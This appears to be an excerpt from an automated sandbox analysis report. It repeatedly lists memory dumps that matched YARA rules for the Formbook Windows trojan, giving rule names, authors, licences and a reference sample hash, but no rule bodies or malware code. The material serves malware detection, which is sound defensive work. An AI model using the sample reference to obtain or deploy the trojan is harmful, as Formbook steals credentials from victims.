              Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2612102497.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2613801872.0000000001455000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2473261360.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2472627068.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000010.00000002.2379545440.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001A.00000002.2522456465.00000000001D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2472003980.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001F.00000003.2701305543.00000000019DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2483602473.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001F.00000003.2701615976.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000008.00000003.2317912887.0000000001392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2483527718.0000000001217000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001F.00000003.2700890863.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000008.00000003.2319145641.00000000013C8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2472452372.000000000118C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2612483906.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001F.00000003.2701110782.000000000190C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001F.00000003.2701716663.000000000190E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2612600156.0000000001484000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2612159299.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 00000015.00000003.2474361589.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
              Source: 0000001B.00000003.2612655978.0000000001426000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
              Source: 0000001B.00000003.2613660065.0000000001428000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
